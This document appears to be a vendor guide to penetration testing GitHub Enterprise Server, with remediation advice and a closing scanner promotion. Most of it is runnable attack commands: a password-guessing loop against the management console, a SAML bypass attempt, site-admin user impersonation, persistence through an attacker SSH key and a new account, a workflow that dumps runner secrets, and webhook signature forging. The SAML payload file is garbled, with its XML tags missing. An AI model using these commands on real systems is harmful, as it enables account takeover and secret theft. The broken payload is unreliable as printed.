GitHub Enterprise Server (GHES) is the self-hosted version of GitHub, deployed by enterprises that require air-gapped or on-premises source code management. Its attack surface differs substantially from github.com — it exposes a management console on port 8443, a site administrator API, and is often configured with SAML SSO that introduces its own vulnerability class. This guide covers authorized penetration testing of GHES deployments from external recon through authenticated API abuse and Actions runner compromise.
GHES exposes several ports and endpoints that aid in reconnaissance. Unlike github.com, a self-hosted instance may run on a non-standard hostname and its version is often visible to unauthenticated users.
| Port | Service | Notes |
|---|---|---|
| 80/443 | GHES web interface | Main GitHub application, may require auth |
| 8443 | Management console | Admin interface, separate credentials |
| 22 | SSH (git) | Git operations, also management SSH on 122 |
| 122 | SSH (admin) | Administrative shell access with proper auth |
| 9418 | Git protocol | Unauthenticated git:// protocol if enabled |
| 25/465/587 | SMTP | If GHES sends notifications |
# Version detection from web interface
curl -s "https://TARGET/api/v3/meta" | python3 -m json.tool
# Returns: {"verifiable_password_authentication":true,"github_services_sha":"...","installed_version":"3.11.0"}
# Alternative version endpoints
curl -s "https://TARGET/" | grep -i "GitHub Enterprise"
curl -I "https://TARGET/" 2>&1 | grep -i "x-github\|server"
# Management console version
curl -sk "https://TARGET:8443/" | grep -i "version\|enterprise"
# SSH banner (version in SSH banner for older GHES)
ssh -v TARGET 2>&1 | grep -i "SSH\|github"
# Nmap scan
nmap -sV -p 22,80,122,443,8443,9418 TARGET
GHES versions prior to 3.9.15, 3.10.12, 3.11.10, and 3.12.4 are vulnerable to CVE-2024-6800 — a critical SAML authentication bypass (CVSS 9.5) that allows unauthenticated attackers to forge SAML responses and gain administrator access.
The GHES management console runs on port 8443 and uses a separate password from the main application. It controls core infrastructure settings including SSL certificates, authentication configuration, storage, and backup/restore. Gaining access to the management console effectively means full control of the GHES instance.
# Management console has a single admin password set at initial setup
# No username — just password
curl -sk -X POST "https://TARGET:8443/api/v1/setup/api/settings" \
-H "Content-Type: application/json" \
-d '{"password": "password"}' | python3 -m json.tool
# Password complexity is sometimes weak in dev/staging environments
for PASS in "admin" "password" "github" "enterprise" "changeme" "Admin123" "GitHub123" "ghes2024"; do
HTTP=$(curl -sk -o /dev/null -w "%{http_code}" \
"https://TARGET:8443/api/v1/setup/api/configcheck" \
-u "api_key:$PASS")
echo "password: $PASS -> HTTP $HTTP"
done
# Management console API (with valid password)
PASSWORD="MANAGEMENT_PASSWORD"
curl -sk -u "api_key:$PASSWORD" \
"https://TARGET:8443/api/v1/setup/api/settings" | python3 -m json.tool
# List management console configuration
curl -sk -u "api_key:$PASSWORD" \
"https://TARGET:8443/api/v1/setup/api/settings" | jq '.[]'
# Management console API routes (all require management password)
# Get current configuration
curl -sk -u "api_key:$PASSWORD" "https://TARGET:8443/api/v1/setup/api/settings"
# Check maintenance mode status
curl -sk -u "api_key:$PASSWORD" "https://TARGET:8443/api/v1/setup/api/maintenance"
# Get authorized SSH keys for management (admin shell access)
curl -sk -u "api_key:$PASSWORD" "https://TARGET:8443/api/v1/setup/api/settings" | jq '.authorized_keys'
# Enable maintenance mode (DoS for legitimate users — test scoped impact)
curl -sk -X POST -u "api_key:$PASSWORD" \
"https://TARGET:8443/api/v1/setup/api/maintenance" \
-H "Content-Type: application/json" \
-d '{"enabled": true, "when": "now", "message": "Security maintenance"}'
# Upload authorized SSH key for admin shell access (post-compromise persistence)
curl -sk -X POST -u "api_key:$PASSWORD" \
"https://TARGET:8443/api/v1/setup/api/settings" \
-H "Content-Type: application/json" \
-d '{"authorized_keys": "ssh-rsa ATTACKER_PUBLIC_KEY attacker@test"}'
GHES supports SAML 2.0 for enterprise SSO. CVE-2024-6800 (CVSS 9.5) allows an attacker with network access to forge a SAML response and gain admin-level access to the GHES instance without valid IdP credentials. Additionally, if SAML responses lack proper signature validation or replay protection, session hijacking is possible.
# CVE-2024-6800 affects GHES versions before:
# 3.9.15, 3.10.12, 3.11.10, 3.12.4
# The vulnerability exists in XML signature validation
# An attacker can include a valid signed element within an unsigned SAML response
# Step 1: Capture a legitimate SAML response (intercept with Burp)
# Or craft one manually if you know the IdP entity ID
# Minimal SAML Response structure for bypass attempt:
cat << 'EOF' > /tmp/saml_bypass.xml
https://IDP_ENTITY_ID
https://IDP_ENTITY_ID
admin@target.com
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
true
EOF
# Base64 encode and POST to SAML consumer
SAML_B64=$(base64 -w0 /tmp/saml_bypass.xml)
curl -X POST "https://TARGET/saml/consume" \
-d "SAMLResponse=$SAML_B64" \
-c /tmp/cookies.txt -v
# SAML replay requires capturing a valid SAML assertion
# Use Burp Suite to intercept the SAML POST flow
# If the IdP response lacks: NotOnOrAfter, OneTimeUse condition,
# or if GHES doesn't maintain an assertion cache, replay is possible
# Test: capture a valid SAMLResponse from a legitimate login
# Then replay it from a different session
# Burp > Proxy > HTTP History > find POST /saml/consume
# Copy the SAMLResponse value
# Replay within the validity window (often 5-30 minutes)
curl -X POST "https://TARGET/saml/consume" \
-d "SAMLResponse=CAPTURED_BASE64_VALUE&RelayState=/" \
-c /tmp/replay_cookies.txt \
-L -v
GHES (like github.com) exposes public SSH keys for any user via the API. These can reveal which keys an attacker needs to target, and public keys combined with other information can identify individuals who have deploy access. Additionally, deploy keys associated with repositories can be listed and, if improperly scoped, provide write access to production repositories.
# List all public SSH keys for a user (unauthenticated)
curl -s "https://TARGET/api/v3/users/USERNAME/keys" | python3 -m json.tool
# List ALL users on the GHES instance (may require auth)
curl -s -H "Authorization: token YOUR_PAT" \
"https://TARGET/api/v3/admin/users?per_page=100" | python3 -m json.tool
# List all SSH keys across the instance (site admin only)
curl -s -H "Authorization: token SITE_ADMIN_PAT" \
"https://TARGET/api/v3/admin/keys?per_page=100" | python3 -m json.tool
# List deploy keys for a specific repository
curl -s -H "Authorization: token YOUR_PAT" \
"https://TARGET/api/v3/repos/ORG/REPO/keys" | python3 -m json.tool
# Check if a specific SSH key grants access (test with your own key)
GIT_SSH_COMMAND="ssh -i /tmp/test_key" git clone git@TARGET:ORG/REPO.git /tmp/test_clone
# Enumerate repositories accessible via deploy keys
# If you have a private key that matches a deploy key, test access:
ssh -T git@TARGET -i /tmp/deploy_key 2>&1
# "Hi ORG/REPO! You've authenticated..." = valid deploy key
Personal Access Tokens (PATs) are the primary authentication mechanism for GHES API access. They're frequently committed to repositories (git history, CI configs), stored in CI/CD environment variables, embedded in application configs, and logged in debug output. A single compromised PAT with repo and admin:org scope grants read/write access to all private repositories and organization management.
# Secret scanning in public/internal repositories
# GHES Advanced Security includes secret scanning, but many instances lack it
# For authorized testing, search repositories for PAT patterns
# PAT formats:
# Classic: ghp_XXXXXXXXXXXXXXXXXXXXXXXXXXX (40 chars after ghp_)
# Fine-grained: github_pat_XXXX
# Search all repositories via API for potential secret commits
curl -s -H "Authorization: token YOUR_PAT" \
"https://TARGET/api/v3/search/code?q=ghp_+in:file&per_page=30" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for item in data.get('items', []):
print(f\"{item['repository']['full_name']}: {item['path']} ({item['html_url']})\")
"
# Search for common secret patterns in code
for PATTERN in "ghp_" "github_pat_" "GITHUB_TOKEN" "GH_TOKEN" "github.token"; do
COUNT=$(curl -s -H "Authorization: token YOUR_PAT" \
"https://TARGET/api/v3/search/code?q=$PATTERN" | python3 -c "import sys,json; print(json.load(sys.stdin).get('total_count',0))")
echo "$PATTERN: $COUNT results"
done
# Check git log for accidentally committed tokens (post-compromise, with repo access)
git log --all -S "ghp_" -p | grep "^+" | grep "ghp_"
# List all PATs for the authenticated user (site admin can see all)
curl -s -H "Authorization: token SITE_ADMIN_PAT" \
"https://TARGET/api/v3/admin/tokens?per_page=100" | python3 -m json.tool
# Verify a captured PAT's scope and access
curl -s -H "Authorization: token CAPTURED_PAT" \
"https://TARGET/api/v3/user" | python3 -m json.tool
curl -I -H "Authorization: token CAPTURED_PAT" \
"https://TARGET/api/v3/user" 2>&1 | grep "X-OAuth-Scopes"
GHES exposes a site administrator API at /api/v3/admin/ that allows management of users, organizations, repositories, and instance settings. A site admin token grants significantly more access than a regular user token — including impersonation of any user.
# Site admin API endpoints (requires site-admin scope token)
ADMIN_TOKEN="SITE_ADMIN_PAT"
BASE="https://TARGET/api/v3"
# List all users
curl -s -H "Authorization: token $ADMIN_TOKEN" \
"$BASE/admin/users?per_page=100&suspended=false" | python3 -c "
import sys, json
for u in json.load(sys.stdin): print(u['login'], u.get('email'), u.get('site_admin'))
"
# Impersonate any user (create impersonation token)
curl -X POST -H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
"$BASE/admin/users/TARGET_USERNAME/authorizations" \
-d '{"scopes":["repo","admin:org","user"],"note":"pentest impersonation"}' \
| python3 -m json.tool
# Returns token that authenticates as TARGET_USERNAME
# Promote user to site admin
curl -X PUT -H "Authorization: token $ADMIN_TOKEN" \
"$BASE/users/TARGET_USERNAME/site_admin"
# Create new user (persistence)
curl -X POST -H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
"$BASE/admin/users" \
-d '{"login":"pentester","email":"pentester@localhost"}'
# List all organizations and their members
curl -s -H "Authorization: token $ADMIN_TOKEN" \
"$BASE/organizations?per_page=100" | python3 -c "
import sys, json
for o in json.load(sys.stdin): print(o['login'], o.get('html_url'))
"
# List all private repositories across the instance
curl -s -H "Authorization: token $ADMIN_TOKEN" \
"$BASE/admin/repos?private=true&per_page=100" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for r in data if isinstance(data, list) else []: print(r.get('full_name'), r.get('private'))
"
GHES supports self-hosted GitHub Actions runners. These runners execute workflow jobs and have access to all secrets configured in the repository and organization. A runner running with excessive permissions, or a compromised workflow that exfiltrates ACTIONS_RUNTIME_TOKEN, can exfiltrate all GitHub Actions secrets.
# Check for self-hosted runners via API
curl -s -H "Authorization: token YOUR_PAT" \
"https://TARGET/api/v3/repos/ORG/REPO/actions/runners" | python3 -m json.tool
# List organization-level runners
curl -s -H "Authorization: token ORG_ADMIN_TOKEN" \
"https://TARGET/api/v3/orgs/ORG/actions/runners" | python3 -m json.tool
# Malicious workflow: inject a step to exfiltrate ACTIONS_RUNTIME_TOKEN and secrets
# This runs if you can push to a branch that triggers CI (authorized test)
cat > /tmp/.github/workflows/pentest.yml << 'EOF'
name: Security Test
on: [push]
jobs:
test:
runs-on: self-hosted
steps:
- name: Env dump
run: |
echo "=== Env ==="
env | grep -E "GITHUB|AWS|TOKEN|SECRET|KEY|PASS" | sort
echo "=== ACTIONS_RUNTIME_TOKEN ==="
echo "$ACTIONS_RUNTIME_TOKEN"
env:
SECRET_VAR: ${{ secrets.SOME_SECRET }}
- name: List available secrets metadata
run: |
curl -s -H "Authorization: Bearer $ACTIONS_RUNTIME_TOKEN" \
"$ACTIONS_RESULTS_URL" | python3 -m json.tool || true
EOF
# Runtime token can be used to access the Actions cache and artifacts
# An exfiltrated ACTIONS_RUNTIME_TOKEN can retrieve cached secrets during the job window
# Check runner registration token (required to add a rogue runner)
# Only with admin access:
curl -X POST -H "Authorization: token $ADMIN_TOKEN" \
"https://TARGET/api/v3/repos/ORG/REPO/actions/runners/registration-token" \
| python3 -m json.tool
GHES webhooks use a shared secret to sign payloads via HMAC-SHA256. If an attacker gains admin access to a repository or organization, they can retrieve webhook secrets — which then allow forging webhook payloads to connected downstream systems (CI/CD triggers, chat integrations, deployment systems).
# List webhooks for a repository (admin required)
curl -s -H "Authorization: token ADMIN_TOKEN" \
"https://TARGET/api/v3/repos/ORG/REPO/hooks" | python3 -m json.tool
# List organization webhooks
curl -s -H "Authorization: token ORG_ADMIN_TOKEN" \
"https://TARGET/api/v3/orgs/ORG/hooks" | python3 -m json.tool
# Get specific webhook config (may include secret — API typically masks it)
curl -s -H "Authorization: token ADMIN_TOKEN" \
"https://TARGET/api/v3/repos/ORG/REPO/hooks/HOOK_ID/config" | python3 -m json.tool
# Test webhook delivery (confirm webhook endpoint is reachable from GHES)
curl -X POST -H "Authorization: token ADMIN_TOKEN" \
"https://TARGET/api/v3/repos/ORG/REPO/hooks/HOOK_ID/pings"
# If webhook secret obtained: forge a webhook payload
# HMAC-SHA256 the payload with the secret to bypass signature verification
python3 << 'EOF'
import hmac, hashlib, json
secret = b"WEBHOOK_SECRET"
payload = json.dumps({"action": "opened", "issue": {"number": 1, "title": "test"}}).encode()
sig = "sha256=" + hmac.new(secret, payload, hashlib.sha256).hexdigest()
print(f"X-Hub-Signature-256: {sig}")
print("Use this header when sending forged payloads to webhook consumers")
EOF
| Finding | Severity | Fix |
|---|---|---|
| CVE-2024-6800 SAML bypass | Critical | Upgrade to GHES 3.9.15+, 3.10.12+, 3.11.10+, or 3.12.4+; disable SAML temporarily if immediate patch unavailable |
| Management console weak password | Critical | Set a strong random password (30+ chars); restrict port 8443 to admin network only via firewall |
| PATs committed to repositories | Critical | Enable GHES secret scanning (Advanced Security); rotate all exposed tokens immediately; use fine-grained PATs with minimum scope |
| Site admin impersonation tokens | High | Restrict site admin accounts; enable audit log; use short-lived tokens; require 2FA for admins |
| Self-hosted runner over-privilege | High | Run Actions on ephemeral runners; don't store persistent secrets on runner filesystem; use OIDC instead of long-lived tokens |
| Webhook secrets in plaintext API | High | Rotate webhook secrets; restrict repo admin role; enable audit logging for webhook configuration changes |
| Deploy keys with write access | Medium | Prefer read-only deploy keys; audit all keys via admin API; remove unused keys |
| Management console internet-exposed | High | Firewall port 8443 to bastion/management CIDR only; enable MFA for management console access |
# 1. Keep GHES patched — subscribe to GitHub Enterprise Server security advisories
# https://docs.github.com/en/enterprise-server/admin/release-notes
# 2. Restrict management console access
# Network firewall: allow 8443 only from management IPs
iptables -A INPUT -p tcp --dport 8443 -s MGMT_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8443 -j DROP
# 3. Enable Advanced Security for secret scanning
# Admin console > Management console > Security tab > Enable GHES Advanced Security
# 4. Audit site admin accounts (keep minimal)
curl -s -H "Authorization: token $ADMIN_TOKEN" \
"https://TARGET/api/v3/admin/users?per_page=100" | python3 -c "
import sys, json
for u in json.load(sys.stdin):
if u.get('site_admin'): print(f'SITE ADMIN: {u[\"login\"]}')
"
# 5. Enforce 2FA for all users
# Admin console: Administration > Policies > Authentication
# Set: Require two-factor authentication for all users in your organization
# 6. Enable audit log streaming
# Ships audit events to external SIEM (Splunk, Datadog, etc.)
# Administration > Audit log > Log streaming
# 7. Configure SAML correctly
# Ensure assertion signing is required; set short NotOnOrAfter windows (5-10 min)
# Enable encrypted assertions where your IdP supports it
# 8. Use ephemeral Actions runners
# GitHub-hosted runners are ephemeral by default
# For self-hosted: use just-in-time (JIT) runner tokens that expire after one job
Ironimo's Kali Linux-powered scanner detects GHES version vulnerabilities, tests management console exposure and credential strength, audits SAML configuration, identifies PAT patterns in repository contents, and checks Actions runner security posture — all in a single authorized scan.
Start free scan